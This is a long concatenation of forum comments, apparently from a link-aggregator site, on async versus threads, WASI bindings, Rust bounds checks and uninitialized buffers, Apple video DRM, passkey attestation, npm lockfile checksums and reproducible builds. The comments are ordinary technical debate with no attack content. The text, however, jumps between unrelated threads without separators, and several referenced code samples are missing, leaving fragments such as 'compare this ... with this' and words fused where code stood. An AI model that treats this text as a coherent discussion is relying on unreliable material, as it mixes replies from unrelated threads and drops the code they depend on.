As I see it, the main hold-up is that getting the building blocks for that implemented (eg. “async fn in traits” in Rust 1.75) is legitimately difficult to do well and will take time.
…though that does remind me that I need to look into the appropriate venue to ask which of these approaches to async-less WASI preview 2 plugin APIs is more appropriate to ask for:
A: Add an async feature flag to the wasmtime-wasi crate so I can have wit-bindgen without waiting for Cargo’s perennially fragile build caching to periodically rebuild Tokio for APIs I don’t use, just so I can LTO theme out again.
B: Remove the requirement to use wasmtime-wasi to use wit-bindgen if you’re not using the “System Interface” part of “WebAssembly System Interface” and just want the no-effort wit_bindgen::generate approach to moving pure functions out into sandboxed, runtime-loadable, CPU ISA-agnostic modules.
(Real problem. I have a fully sync Markdown renderer which I want to grow into a static site generator and things which perform no I/O like <booklinks isbn="..."></booklinks> pull in Tokio to be eliminated by LTO just because my binding generator wants it for APIs I don’t use. I also have a PyQt+PyO3+Rust GUI app where I want to finish migrating the backend to Rust and, to move some backend plugins from the PyQt side to the Rust side, I need a replacement for the Yapsy plugin loader.)
What if the function passed to the execute function returns neverSettle?
I think this is unfairly singling out a failure case that has been fixed by async. The danger of promises never resolving is mostly limited to callback-based APIs — an this includes threaded code! Multi-threaded that uses callbacks/channels/events/actors can just as easily screw something up and forget to send a reply. But in code using async/await, you can’t forget to resolve a promise by accident.
In any case, a function can run while(true) {}, or more realistically some combination of locks that cause a deadlock. This can happen whether you use sync locks or async locks.
But where promises/futures win over threads, is that they can have a timeout! I can receive a neverSettle, and time it out. In Rust, a timeout can even reliably stop future async work. OTOH, I can’t timeout an OS native thread — the APIs for killing threads are all broken, and less buggy alternatives require a lot of manual plumbing.
The argument about backpressure also seems weak. I’ve built very-high-traffic image processing pipelines in Rust’s async, and I could manage backpressure without problems. Async can have counting semaphores and explicit queues. You can risk buffering and spawning too much work before the semaphore, but that’s not that different from throwing too many tasks into a thread pool or a channel.
If you have a thread-per-request model, you still have an incoming request queue in your server somewhere, or you shed load. A strict thread-per-request makes it hard to fully utilize the CPU when you have a workload mixing network requests (web APIs, external DB) and processing, and if you add more threads, you have to manage the load.
But where promises/futures win over threads, is that they can have a timeout!
I feel like your argument about async fixing non resolving promises can also be used here. If you can only create promises from async APIs then that is not a problem. Likewise why should threads not have timeouts? You can do a lot of stuff to improve the status-quo, and structured concurrency is all about cancellation. That concept works and it can work equally well with threads and async.
The argument about backpressure also seems weak.
That back pressure is hard with asyncio is a known problem. The non awaitable write is a known issue, but the API can no longer be fixed because it would break too much code. You will eventually run into code that you wish buffered, but now it’s in a public API that cannot be changed easily any more.
Interpreted/VM languages can have threads with timeouts. OS threads can’t, because they can’t guarantee that locks support cancellation, and you can be left with thread-owned locks remaining locked forever. It’s a game over if that happens to be your memory allocator’s lock. The OS can’t help here much, because native code can have DIY locks and clever use of atomics, which will break if the code suddenly stops in a critical section. In an alternative universe it’d be solvable with ways to mark critical sections and cancellation-sensitive stack frames, but our current OSes and mountains of legacy code don’t have that.
[structured concurrency] can work equally well with threads and async.
The way I see it, async is just a syntax sugar. In terms of what you can do, and problems you need to deal with, they’re pretty much equivalent. You’ll need to deal with race conditions if you have stuff running concurrently, regardless whether that’s threads or promises. You will have to deal with queueing and backpressure, regardless whether that’s blocking on a channel or awaiting a callback.
In most languages async is implemented on top of threads, so of course threads can do everything. You can build primitives for all kinds of tasks, fork-join, etc. It’s just that for some things, the constructs and syntax you need in imperative blocking threaded code gets ugly. To cancel, you need to propagate the cancellation yourself up the stack. If you ever need to stop and resume a blocking thread code, you either keep the stack and block the threads until resume, or you need to write state machines or continuation callbacks, that essentially reinvent async without the syntax sugar.
back pressure is hard with asyncio
Isn’t that a problem of asyncio, not async in general?
I think the discussion here is complicated by the fact that async implementations vary a lot, and have their own problems. For example, async stack traces usually suck, but Rust’s poll() design gives it a real stack trace. But Rust’s async has Rust’s barriers to entry, so won’t replace Python or JS.
Interpreted/VM languages can have threads with timeouts. OS threads can’t, because they can’t guarantee that locks support cancellation, and you can be left with thread-owned locks remaining locked forever.
Sure, but that is the same if i write something stupid in an async function. On that level there really is no difference between a virtual thread and an async function.
The way I see it, async is just a syntax sugar. […] Isn’t that a problem of asyncio, not async in general?
async I would argue is based on the idea that not everything needs to be able to suspend. That causes a problem if you need to start introducing back pressure in a place that is currently not async and thus not able to await. My core argument is, that this is the core of the problem.
I think the discussion here is complicated by the fact that async implementations vary a lot, and have their own problems. For example, async stack traces usually suck, but Rust’s poll() design gives it a real stack trace. But Rust’s async has Rust’s barriers to entry, so won’t replace Python or JS.
Yes, and that’s also one thing that I found out of the years. Different communities have very different takes on this despite it having the same syntax. For instance some people think that async implies single thread, or that async implies thread pinning, or that async means that you don’t need synchronization. In some languages some of those things are true, but it’s not all the same.
that is the same if i write something stupid in an async function
No, absolutely not. Using malloc is not considered doing something stupid, but malloc (and most other thread-safe functions) cannot be safely cancelled. Even well written code can’t be safely cancelled. The established execution model made it absolutely fine and normal to write all code in a way that relies on threads executing to completion (or the whole process dying at once).
Any thread can use an atomic to set “I’m using this object how, wait until I finish” on any piece of memory, and then get killed, before it had a chance to undo that. Other threads seeing this will spinlock and/or park themselves forever, and there’s no mechanism for the OS/runtime to fix that, because it was just a write to memory somewhere, with no OS-level object associated with it. This isn’t bad code, this is the best practice for locks that have a fast path when uncontended.
Optimizers assume code without function calls will always run to completion, so they can reorder writes to memory that aren’t observable. But if thread is killed in the middle of that, and you manage to unlock its locks, that state can become observable and look like time-travelling garbage.
This still has nothing really to do with async/await or VMs. You said yourself this could be solved in an alternative universe by marking critical sections- the important thing is purely that making cancellation work requires some level of cooperation from the canceled task.
Really the point is just that we are also already there in this universe, in various ways. Much of this kind of native code already uses destructors to clean up after itself. Even when it doesn’t, it often has to account for errors, whether reported from system calls or discovered on its own.
Of course this kind of code is also often imperfect, but by the time you make that argument we are already back to “that is the same as if I write something stupid in an async function.” It’s only a matter of degree and API design, not something people only only do with async or a managed language.
I have thinked about this topic a bit and was wondering how much history “transactions” have in case of language design? What I’m thinking of (to improve optimizability with exception, not cancelation, but still relevant) is simply that certain functions have a corresponding reverse operation as well – e.g. a List::add method can trivially be done backwards (assuming single ownership), so executing it optimistically becomes possible. The slow path of an execution can simply execute the reverse to get back to a safe state.
It’s not particularly well adopted and you can derive, that it’s a handful of people that are interested in it. It found adoption in the Glasgow Haskell Compiler, PyPy temporarily and lately there has been talk about Epic’s Verse programming language eventually getting support for it.
Haskell and Clojure both have implementations of software transactional memory; I don’t know much about the former, but the latter at least snapshots state (instead of inverting). I guess as long as your data type has the right kinds of properties (commutativity and etc.) it would be trivial to do it with an inverse!
For instance some people think that async implies single thread, or that async implies thread pinning, or that async means that you don’t need synchronization. In some languages some of those things are true, but it’s not all the same.
It’s devious in a way.
So, I think does underscore a genuine problem: the biggest one being “if I call an async function but don’t await it, does it run?”. There is definitely nuance between languages about async/await, which is a rake many users could hit when stepping between languages.
But worse than that is that different languages have different rules around concurrency and threading in general! Most languages just throw you in the deep end and expect you to use mutexes yourself; Objective-C has a special @atomic tag you can add to members for thread-safe access; JS of course is only single-threaded. These are the deeper design conflicts, which I’d argue could be amplified by async/await but are not caused by it.
From a user’s perspective, these are confusing and conflicting ideas. But from a language design perspective, this makes async/await a very useful and flexible tool! Project Loom took a long time to finally ship, I imagine it implementing it was a huge lift both on the Java frontend and on the JVM side (but happy to hear more details if not!). In contrast, it’s easy(*) to take an existing imperative language, desugar your async/await into a coroutine or whatever, then to build a little runtime that can suspend/resume properly. The contract is pretty simple, the resulting code does a pretty good job of looking kinda like the synchronous equivalent, and it’s been applied everywhere from embedded development (in Rust of course) to game engine scripting (Godot) to UIs (like in C# as mentioned).
(*) relatively speaking of course! Not speaking from experience, but as I understand it, desugaring async/await into CPS isn’t really a huge ordeal
From a user’s perspective, these are confusing and conflicting ideas. But from a language design perspective, this makes async/await a very useful and flexible tool! Project Loom took a long time to finally ship, I imagine it implementing it was a huge lift both on the Java frontend and on the JVM side (but happy to hear more details if not!).
I think async/await didn’t take long to ship in Python but the cost of making i useful got amortized over many, many releases. There were a ton of rough edges with it for a long time. Additionally despite all of that, the unsolved complexities are now delegated for everybody to solve on their own. Even today Python still does not have a way to read asynchronously from a file.
You are right in that if you opt to not solving a problem it’s easier to do, but I also think there is a shitty version of virtual threads you can ship quickly. In fact, Python had that: greenlet and gevent. That also worked and if anything that was even more pragmatic than async/await.
I’ve been (a little begrudgingly) paying to re-up my VMware license occasionally because I’ve found it just does better for virtualizing desktop OSes over VirtualBox. I’ve had a very good experience with the virtual GPU over anything I could figure out how to do with OSS offerings— short of doing full PCI passthrough. I even ended up using a Linux VM in a Windows host via VMware as my daily driver for a while, and it felt basically on par with running Linux natively! (In some ways it was better, as I didn’t have to deal with the pain of Nvidia’s drivers— no idea how much less painful it is these days)
Since then, WSL has mostly filled the niche for me, but I still turn to VMware if I want a local VM for whatever reason (it comes up occasionally for me)
I have mixed feelings about this definition. It’s at least better than the status quo, where you see companies both big and small haphazardly throwing model weights out in the world and calling them “Open Source”, despite them not being… source code. I’ve also seen the term “open weights”, but as far as I can tell, this isn’t rigorously defined anywhere, so usually it just means “you can download the weights” but anything beyond that is a coin toss
Then, there’s the fact that it doesn’t require the data to be provided, just described in detail such that someone could reproduce the results. This is practically sensible, since as best as I can tell, no one is releasing the full data sets for their state-of-the-art models. But it still feels like a very weak stance (personally, I feel like training data sources is one of the biggest ethical problems for LLMs / AI models right now, and my impressions from the sidelines is that it’s an open secret that basically all the competitive players in the space scrape data that they don’t really have the right to train on). The FAQ provides a justification for this, but I’m still not swayed
Okay, full disclosure up front: my dayjob has led to me working with LLMs quite a lot for many months at this point, so it’s part of what pays my bills. I’ve also used Stable Diffusion in the past, and have a (now abandoned) project on GitHub that uses it. I don’t think either point is very relevant to the below, but wanted to share potential biases.
I largely agree with the author’s conclusions in this piece, but I couldn’t disagree more about what the obstacles are. I do love this passage overall:
…but the phrase “creative labor” bothers me. If society treats art as a commodity, then naturally we have “creative laborers” who put their creativity on the open market as a scarcity. Creators are only valued insofar as the supply of creative labor is limited, and as consumer demand or business need for creativity grows.
Sadly, that is pretty descriptive of the status quo, and it’s led to a lot of present-day tensions: YouTubers censoring sensitive topics to appease “the algorithm” and placate advertisers, designers lowering their prices in a race to the bottom on Fiverr, basically all musicians getting only peanuts from Spotify, etc.
I hope this isn’t a hot take: art is intrinsically valuable. I’m sad for all the creatives whose livelihoods have been disrupted by the emergence of AI, but the larger tragedy is that they could only be creative by having their creativity commoditized in the first place. I… don’t have an answer for what an alternative would look like, but it still makes me sad. I strongly feel that GenAI isn’t the root cause of the problem, but rather just shows the gap in how creativity is valued today.
Oh, and a more fun point: I think it’s interesting seeing the kinds of creative things people are making using GenAI today (like actual art where GenAI was a part of the process instead of the final output). The best example I can point to is the intro for Marvel’s Secret Invasion, which infamously used an image generator. I thought it turned out good, and led to a really unique aesthetic that fit really well with the show’s story. More recently, Posy (of YouTube) made a video about “AI” and explored its creative potential, including some really slick optical illusion visuals plus original music that used AI-generated samples (in place of sampling individual songs). Sadly, the video was taken down publicly (still available via Patreon) due to the backlash despite being a clear-cut case of GenAI empowering an artist to try something new.
Copyright law provides copyright owners with control. As many musicians would tell you, these are absolutely not the same thing. And that’s not to mention models like Adobe Firefly that are trained on licensed works.
The labor issues around AI are vast but copyright isn’t the answer.
Fully agree. If your goal was to kill GenAI, doing so based on copyright infringement would honestly have scary implications. I felt like it wasn’t that long ago that we were celebrating the lawsuit where Google Books defended their ability to allow books to be freely indexed and searched (Authors Guild, Inc. v. Google, Inc. ), and when Google argued that their reimplementation of the Java API in Android fell under Fair Use (Google LLC v. Oracle America, Inc.). I feel like OpenAI losing their lawsuit(s) due to copyright infringement could deal a massive blow to what Fair Use protects on the web today (I am by no means a lawyer though)
I don’t think it would have scary implications - both the Google Books and Android cases fell under fair use because they passed the four prong test for being fair use. Commercial LLMs have would have a hard time doing so, given that they are ingesting whole works, and significantly affecting the market of those works.
Fair use decisions are probably the least impactful decisions that can be taken, since they are very specific, so they don’t apply in a straight forward manner in a lot of other cases.
The article looks more like a list of reasons to prefer Rust?
The function that C couldn’t vectorize looks okay to me in Rust. Rust’s stricter pointer aliasing helps autovectorize loops like this. In this case
rse32(u8 data[restrict K], u8 out[restrict N])improves C too, but Rust can apply it to any mutable slice, and has true immutability too.Panicking bounds checks are annoying, but they’re optional. When optimizing hot code like that you’re going to spot them anyway (cargo asm makes it convenient). They can be eliminated in many ways — using iterators, or adding a length check outside of the loop, and there’s always
unsafethat isn’t any less safe than indexing in C.It’s unfortunate that get_unchecked is so verbose. I wish there was an expression block syntax for disabling these checks, similar to unsafe.
In theory that could be achieved with some macro magic.
It’s “verbose” because it’s explicit.
There are ways to make it less verbose without sacrificing explicitness. Compare this hypothetical syntax
with this
You could also get more-or-less the same ergonomics without special syntax today. All you’d need is a wrapper type like
UnsafeIndexwith custom impls forstd::ops::Indexandstd::ops::IndexMutthat use.get_unchecked()/.get_unchecked_mut()internally(Playground example: https://play.rust-lang.org/?version=stable&mode=release&edition=2024&gist=163c07cefb3645b74d6ceea40ac6295e)
It’s a decent workaround, but imo still too cumbersome. For example it’s hard to experimentally disable bounds checks for certain code sections during prototyping, because you would have to add/remove these assignments constantly.
Also, I imagine a
bounds_uncheckedblock to also disable bounds checks in a viral way, so that any part of the call graph that is downstream from this block also has bounds checks removed, including third-party libraries.This would have been really nice to have in Rust. I’m not sure about making it viral, though — that would require monomorphising all callees over a hidden parameter, which is likely going to be a nightmare for a lot of reasons.
I also dream of a block-style arithmetics mode override (checked/wrapping/saturating), something like:
This would have been so much nicer than the
.add_*()syntax which becomes really ugly really fast.Writing such a macro would be relatively straightforward, and would be surprised if it doesn’t exist already.
Illuminating!
I recall Marcan who worked on Asahi posted a very technical account of how this all actually works, but since he deleted his Mastodon account I can no longer find it. IIRC it works using the fact that the screen output comes directly from the GPU, and its memory is not directly readable from userspace apps like the screenshot or screen recording tool. Streaming service DRM takes advantage of this by getting the bits directly (to the extent possible) into GPU memory where they can’t be copied by userspace tools. I believe this actually involves stream decryption performed on the GPU or a Trusted Execution Environment, which is why GPU firmware remains closed-source even as their drivers are open-source.
All streaming services implement a variety of quality fallbacks, so if you watch Netflix on Linux in the browser for example you’ll only get 1080p streams at max. In order to watch their 4k content you need a fully locked-down system. The term to search for here is “widevine DRM”.
All of this is to say that the “black screen” you get from screenshots isn’t from DRM swooping in and painting black over the video in the screenshot tool, but because it’s really all the screenshot tool can see - if you try this in a desktop where the video is in a floating window, there will be a black square there, because that’s what userspace sends to be rendered to the GPU and the GPU inserts the video on the GPU.
I don’t remember anything like that from marcan… and there are no secrets in GPU firmware, I’m pretty sure. I don’t even know how you’d implement DRM in the GPU, we haven’t seen any hints of that. In fact the GPU and the display controller are separate hardware and all framebuffers are in main RAM (it’s all unified memory), so there is no way to “directly” output anything from the GPU in a way that can’t be read by the CPU. The GPU firmware is closed source because everything is closed source, Apple didn’t open source anything. It’s not encrypted or secured though, you can just download it from Apple’s CDN and disassemble it. It’s not possible to replace the firmware but that’s not for DRM reasons, it’s due to system security design, and even if it were possible I don’t think there’s any interest in developing open source firmware since it would be a huge amount of work for little gain.
What does exist is some kind of DRM support in the display controller and video decode blocks, I think (see my top level comment).
Must have been thinking of someone else. Thanks for the explanation!
Were you thinking of retr0id’s article on the subject? https://www.da.vidbuchanan.co.uk/blog/netflix-on-asahi.html
Disclaimer: I work at 1Password
People keep making this case, but this is only true if you cannot export/sync passkeys. There are password managers—1Password and even I think Apple’s Passwords—that will sync passkeys cross-platform. This shouldn’t be an issue in practice. And, yes, you can’t remember a passkey or easily write it down on paper but given the amount of work regular password management already is, “requiring” software to provide good UX isn’t the worst thing IMO.
1P definitely makes this experience better, but it’s certainly not the default experience for most people. There are people in my life who struggle with 2FA, especially around backing up tokens. I have a hard time imagining that I would be able to get them on board with passkeys, much less installing more software to make passkeys’ use easier.
On the contrary, passkeys require zero extra software and vastly simplify the experience for ordinary non-technical people. Now they don’t need to muck around with passwords anymore, they can just tap their finger or scan their face to log in. This is the first genuine usability improvement for online security in at least two decades.
You’re right that you don’t need any additional software, but the point of GP was that additional software solves problems with the OOTB experience.
GP’ assertion:
Is incorrect. And you can read my post to see why.
Your post outlines what is essentially a way to coordinate (“sync”) passkeys using magic links. With that, yes, you can use multiple devices to your heart’s content.
Using magic links works in theory and likely in practice, but it isn’t foolproof either. I’ve seen setups where someone hasn’t yet signed into their email on a device or their email client opens up the wrong browser/etc. There’s rough edges with every approach.
My point is simply that the ideal UX is syncing one passkey across devices using, ideally, 1st party software with a great ootb experience. This is already possible. You’re absolutely right that in lieu of that, you could also use magic links as described to work around it.
A ‘foolproof in practice’ auth method doesn’t exist. So we must haggle about what is the best tradeoff between security and UX for the vast majority of end users who are non-technical, non-power users, and will never go for the hassle of maintaining password managers.
EDIT: here’s what Passage (by 1Password) documentation says: https://docs.passage.id/complete/magic-links
No. We can let the user decide. Instead, the arrogance with which some people and services (especially big cloud providers) push their agendas is precisely one of the reasons why people (including me) are very hesitant with passkeys. History has made us aware.
As I’ve said many times, for ordinary non-technical people, this is not the kind of decision that they care about nor want to make. Normal people just want secure accounts that are not extremely difficult to use. They are not going to set up password managers. Many don’t even bother to remember passwords; they just log in every time with ‘forgot password’.
For power users like yourself, you can just use a good password manager to store all your passkeys and never have to use magic links at all.
I personally don’t find it productive to engage in discussions about ‘arrogance’ and ‘agendas’. All the options are in front of you, you have complete freedom as a user. No one is locking you into anything. Not sure what ‘history’ you are ‘aware’ of, but if it’s something relevant to this discussion please feel free to make it instead of spreading FUD.
Do I? Last time I checked GitHub forced me into 2FA, for zero increase in security since I already use a password manager, and I stored the second factor in my password manager for convenience.
Yes, but it’s zero increased security for you. For all the GitHub users who use the same password across N different sites, TOTP codes are a massive improvement to their security posture. Which, in turn, is good for everyone when you start to think about the supply-chain security risks.
It’s a 100% indisputable fact of life today that, if you have a user pick a password, some users are going to re-use passwords from other sites and/or use a very weak password. Passkeys bring the advantages of password managers to everyone else: it’s both way more secure because it’s a unique token for a single site (which is also significantly harder to phish for!), and it’s more convenient because it gets filled in for you. And, unlike, say, Chrome’s built-in password manager, it’s not something you can just ignore and do insecurely anyway.
Personally, rolling out passkeys has barely affected me at all (I’ll take a few seconds to set one up in 1Password if given the option on a site). But– hopefully– it’ll raise the bar for security for everyone else, preventing a lot of the actual practical attacks we’ve seen affect ordinary people.
It’s not black and white. Counterexample: person A uses github for their library X, person B relies on X. Now A loses access to their account and gives up. No further security updates for X unless B actively switches. Now you can claim that this is a rare scenario and I would agree.
Still, my feeling is that those pushing for passkeys are actively trying to talk down or hide the negative parts. The same for 2FA/MFA.
Furthermore, I suspect that the increased control and datamining is something those companies really like. That’s why so many companies only require a phone number. Or other data. Google employees dark patterns. When logging in, it ask you for your birthday and does not even allow you to reject just close the question. It seems like you are forced to give it to log in. However, you can actually just close the browser tab and you are already logged in.
Sorry, but these things take a away trust. At least for me, the burden is now on those services to proof that they are not having bad intentions. And right now, it looks to me like they have. Hence, I’m not willing to give them more power.
Oh, I do agree with you here. They have a point, and that’s precisely the problem.
Well there you go. GitHub requires users to set up security factors, as is their right. And you the user can store the security factors in your favourite password manager, as is your right. Each party in the transaction has all the freedoms it needs to operate.
There’s a tension between their rights, and that of their users. I was lucky they even allowed TOTP, because from their UI I could clearly tell they preferred webauthn. And if one day they decide I need to use a passkey with remote attestation, where all the approved providers only accept an app that runs on an unrooted Android or Apple phone?
Call me paranoid, but since that’s currently the best way I know of to actually secure an account for most users, they have a justification for going this route. And then you could say I am totally free to use any other service instead of GitHub… if it wasn’t for the obvious next step: policies of not pulling in code from sources other than properly secured providers, where “properly” means MFA of the kind I’ve just outlined.
Feels like the old freedom/security tradeoff all over again.
You realize that even if passkeys didn’t exist, the policymakers would still exist and find other ways to make and enforce these policies, right? What you are arguing about has nothing to do with passkeys except in the most tangential sense.
There is in the standard itself (Webauthn I believe?) support for cryptographic verification of the passkey provider (the entity/software/dongle that generated the key pair). Which means the standard supports remote attestation. While remote attestation has some legitimate uses, putting it right there in the standard facilitates abusive generalisation.
So there’s your tangent: the standard is an enabler, and I don’t like enablers.
So if I understand correctly you don’t like companies that manufacture kitchen knives? Because they are enablers of people who can do bad things with kitchen knives?
Ah, at last we’re talking trade-offs! My opinion here is that putting remote attestation in the standard does more harm than good.
Conversely, I believe allowing end-to-end encryption (the kind governments can’t wiretap ever), does more good than harm.
Quite a few things stayed accessible exactly until it became very cheap to make them inaccessible, though.
And good web security posture was inaccessible to most ordinary people until it became accessible with passkeys.
Good passkey security posture, for which availability is included, is not available to ordinary people.
Passkeys are a couple of years old at this point. Passwords are decades old. Give it a minute.
This is a lie. «Whether you can back up the passkey» will only become a simple question if the answer is «no, you are beholden to the vendor»
Irrelevant for ordinary users, and missing the point. Read my post, with my strategy backing up passkeys is an obsolete way of thinking when you just log in on any new device with a magic link.
Does this require not providing any alternative for those who do use a password manager? Like, if there’s an alternative, then some non-technical users are gonna use it and get pwned, so we’d better not?
Password managers can already save passkeys. Power users are already well covered here.
Sounds cool. One remaining snag though: can I opt out of email recovery? Chose my own availability/breach risk tradeoff?
In my design, no. It’s passkeys + magic links.
But this is just my design and recommendation. Others can obviously implement whatever they please. I just happen to think that the added complexity would not be worth it.
Oh I agree it’s far the the default experience, and I’d say far from the ideal experience. My early work on 1Password was its onboarding process and I’ve sat in on enough user interviews/user research that I’ll be the first to say there’s plenty users don’t understand.
And yet, when keepassxc tried to export passkeys:
(From https://github.com/keepassxreboot/keepassxc/issues/10407#issuecomment-1994182200)
Frankly, I think that assertion was an overreach. He explained later that RPs (Relying Parties, ie service providers) could block KPXC because it doesn’t properly verify the user when required to:
That is a choice that RPs can legitimately make for user security reasons. But I don’t see how they can block specific passkey managers by name.
Attestation existing in the protocol at all seems dangerous to me: inevitably, someone will start whitelisting specific providers “for user security” and then users start having to spread passkeys among providers and non-big-tech providers get frozen out.
That is already happening. The Austrian governmental ID maintains a limited set of passkeys (all hardware) that can be used. If you try to enroll a different one it will be refused. https://www.oesterreich.gv.at/id-austria/haeufige-fragen/allgemeines-zu-id-austria.html#fido-compatible
You mean it will be rejected?
I suspect GP meant refused.
Sorry I meant “refused”. Fixed it.
This is not an allowlist, it’s an example of conforming hardware. The FAQ answer says:
If you follow that link it shows how most browsers already support it. So the hardware list is not really relevant.
It is an allowlist. I have a FIDO2 level 2 token that is certified and not accepted because a-trust blocks it. There is also no browser or software implementation, only specific keys are allowed.
Support “it”? The it in question is allowing me to use my own hardware, without a third party veto.
The protocol allows for third party veto by design.
It allows for third party veto in case of missing required security attestation. Security standards sometimes need to be strict. This is no different from sites disabling TLS <1.3 for security reasons.
Can you explain to me how I can configure my TLS library such that it only allows connections from Google implementations of TLS 1.3 running on Android, and blocks any implementations written by someone other than Google?
This would be equivalent to attestation – instead of requiring a correct implementation of an open protocol, attestation requires a specific device or manufacturer.
That’s incorrect. Attention just says what level of verification was done and what the authenticator was. Attention in and of itself doesn’t require anything; it’s inert data. It’s up to each Relying Party (ie service account provider) to decide what attention requirements they want to enforce.
Typical passkey implementation guides just recommend that attestation be set to
preferredorrequiredon initial registration. They don’t recommend that specific devices be allowlisted. See eg https://simplewebauthn.dev/docs/packages/server#guiding-use-of-authenticators-via-authenticatorselectionAnd if you think about it for a second, it’s obvious why. WebAuthn is a web protocol. The web is built on top of open access protocols where anyone is supposed to be able to participate. If passkey SDK providers start recommending that it be locked down to specific hardware, that will quickly break the web. And nobody wants that.
Great, if it’s not meant to be used that way, it should be no problem to remove it from the protocol.
I have no opinion either way. Maybe you should take it up with W3C!
You’re the one who cares about passkey adoption. This is the biggest blocker.
Maybe you should?
It’s just deleting sections 6.5 and 8 from https://w3c.github.io/webauthn/#sctn-defined-attestation-formats
You seem to be projecting your incentives on to me. Like I said earlier, I don’t care either way because I think this ‘problem’ is way overblown and only a theoretical concern. Relying Parties ie account providers don’t have an incentive to go out of their way to block large swathes of potential users over which devices they’re using. That’s a great way to kill business. And in practice most people are using devices which will have certified authenticators anyway.
Any way you look at it, this is a moot point.
«Security attestation» is slang for «proof of not being under end-user control» (unlike TLS version)
Close, but it’s actually ‘we reliably verified that the claimed user is the one making the request’. So actually the opposite of ‘not under end-user control’.
This is advertisement.
This is probably close to the technical definition.
Is how the accepted device list for attestations will be implemented 99% of time, and I would like to see the remaining cases.
You seem to misunderstand what attestation is. It’s got nothing to do with the user.
The only information that attestation demonstrates is who manufactured the device making the request.
Like I said previously, I don’t see how a specific passkey manager can get blocked. The attestation just says whether user verification was done or not. It doesn’t say what the password manager is (as far as I know).
“Attestation” sounds like the kind of remote attestation sometimes demanded of some specific services.
For instance, you get hired in this security company, and they mandate a second factor with a USB dongle. The dongle has 2 private keys: one for you, that could be changed or reset at any time, and one for itself, that comes with a certificate that the device had been manufactured by this or that company.
Remote attestation would be that when you plug your key, the IT system not only asks for your key, it also asks your dongle to certificate the public half, and since the dongle is configured to provide certificates only for keys that it generated itself (that’s a promise of the dongle manufacturer), your company knows for sure your private key can’t leave the dongle, and thus you’re really logging in with the dongle.
Now it makes sense for companies, because leaking employee credentials doesn’t just harm the employee, it may harm the company itself. In this case you may not want to rely on the goodwill or conscientiousness of the employee, and just mandate they use the company issued dongle. That is much less of an issue with public-facing services, where when an account is compromise, the damage tend to be confined to that account.
Now replace “dongle” by “ID provider”, point out that GitHub repository or NPM package compromise can easily have far reaching consequences, and you have your foot in the “oligopolies in the name of consumer protection” door.
This is completely wrong and not at all how passkeys work. Completely irrelevant.
The attestation says which device was used on enrollment. ID Austria as mentioned in another comment here blocks all but a handful of dongles: https://www.oesterreich.gv.at/id-austria/haeufige-fragen/allgemeines-zu-id-austria.html#fido-compatible
(You can try it yourself, there is no way to enroll 1password or a similar thing, it needs to be one of those hardware tokens. They even denylist old yubikeys by firmware version)
That’s not possible at scale. The ‘someone’ would have to go to every Relying Party and get them to accept the whitelist. The decision is up to each Relying Party ie account service provider what attestation/authenticator they will accept. So your bank might decide to accept only certain known and certified ones, while your ecommerce site might accept others.
But again, I think we are getting too bogged down in the weeds here. For the majority of ordinary, non-technical people, who will use their platforms’ built-in passkey management, all this will work completely fine.
Syncing passkeys with 1P is a good experience. A little better than syncing passwords. And I think that’s the most we’re going to get out of passkeys.
I strongly prefer nightly’s
BorrowedBufdesign over the proposed idea of “freezing” memory. I sleep better at night knowing that there’s no (sound) way today to read uninitialized memory today in Rust!Sure, it’s valid at the machine level… but zeroing out the memory ensures that a private key or other sensitive value doesn’t flow somewhere it doesn’t belong. I feel that this idea of “freezing” like this is such a footgun that I hope it stays out of Rust for good.
Ironically, I think the section that shows the danger around
&mut [MaybeUninit<_>]from the footnote[^1] is the best case that could be made forBorrowedBuf. You can’t express a “must-write” buffer in safe Rust today, andMaybeUninitis tricky to use soundly. So, let’s add a new lightweight, flexible, and super cheap abstraction! (I think it’s fair to say thatBorrowedBufcould be generic, but honestly it’d probably be very rare to use it for non-u8buffers, so I think it’s sensible to keep it specific).And for prior art, Tokio has a nearly identical
ReadBuftype (https://docs.rs/tokio/1.43.0/tokio/io/struct.ReadBuf.html). They even use the same “initialized / uninitialized” and “filled / unfilled” split, which I personally found very intuitive when dealing with partially-initialized buffers while writing (async) reader and writer impls.[^1]: Specifically, this footnote: https://mina86.com/2025/rusts-worst-feature/#b1 which links to this Playground example: https://play.rust-lang.org/?version=stable&mode=debug&edition=2021&gist=72ca09295e9b98dfdd85a3af573aa0b9
Is… is it just me or does it seem like it’d be better for npm to have the checksum of the uncompressed file? Or maybe even better: a checksum of a deterministic archive format instead of a general tarfile?
If the checksum was uncompressed, then that would let npm swap to a better compressor seamlessly, or switch to a better compression algorithm like zstd for newer npm builds, or even recompress packages to gzip “on the fly” while silently using better compression behind the scenes
Is there a reason that npm’s lockfile uses a hash of the
.tar.gzfile? Is there some benefit, e.g. maybe for preventing “zip bomb” style attacks?I agree. Users will almost always be unpacking the archive anyway, so you’d still need to protect against “zip bombs” and potentially other issues.
Maybe there’s something I’m missing, though.
In any case, such a change would be backwards incompatible.
I am confused what the problem with
unsound_copyis. It looks essentially like what I would expect this to be. The author states that changes to the compiler or compiler’s options can break this, but that seems very uncharacteristic forrustcto me. Rust doesn’t even change the behavior of integer overflow under high optimization, so I would be astonished if reinterpreting bytes somehow retroactively broke.They also point out that changing the
std::io::Readtrait to a different trait could break this behavior, but isn’t this why Rust chose nominal polymorphism? So that the author of code can guarantee that this doesn’t happen? Ifstd::io::Readis the trait that works, the function should continue using that. This use-case feels like exactly the reason thatunsafeexists in the language at all, unless I am missing something.I think it’s that you’re creating a reference to uninitialized memory (which requires a valid live T and proper alignment). Further you’re taking that possibly invalid reference, converting to a raw pointer and the back to a reference which again requires certain invariants be upheld to be sound. Anytime a reference is created, even temporarily, in unsafe alarms should be going off. This is why people talk about unsafe Rust being more difficult than C because of all the ways to produce a foot gun, and worse a foot gun that may appear to work. Also Rust doesn’t guarantee things like padding or field order without a repr. It’s allowed to change those details even between runs of the same compiler.
I think what you said is true, but there’s another issue too, which I think is more fundamental. Consider this impl:
This breaks the contract of
std::io::Read, but it’s still valid and safe Rust. Working backwards, this means unsafe code can’t assume that thereadfunction properly fills the buffer. The docs forstd::io::Readsay as much (https://doc.rust-lang.org/stable/std/io/trait.Read.html#tymethod.read):If there were to be a new method, say something like this:
…then the trait impl itself would need to be marked unsafe.
The word reproducible tends to invite more discussion over the word itself than is helpful to the advancement of more reproducible systems. I’m not saying this post is unhelpful, but that it’s an argument about whether reproducible can mean “practically reproducible” or strictly bitwise reproducible.
It’s reasonable to call NixOS “reproducible”, but not reasonable to claim that it’s bitwise reproducible. I’m not aware of anyone making that claim.
To place Linux distributions into classes of reproducibility, it doesn’t make sense to place NixOS and Guix in the same class with Arch, Ubuntu, Gentoo, etc.
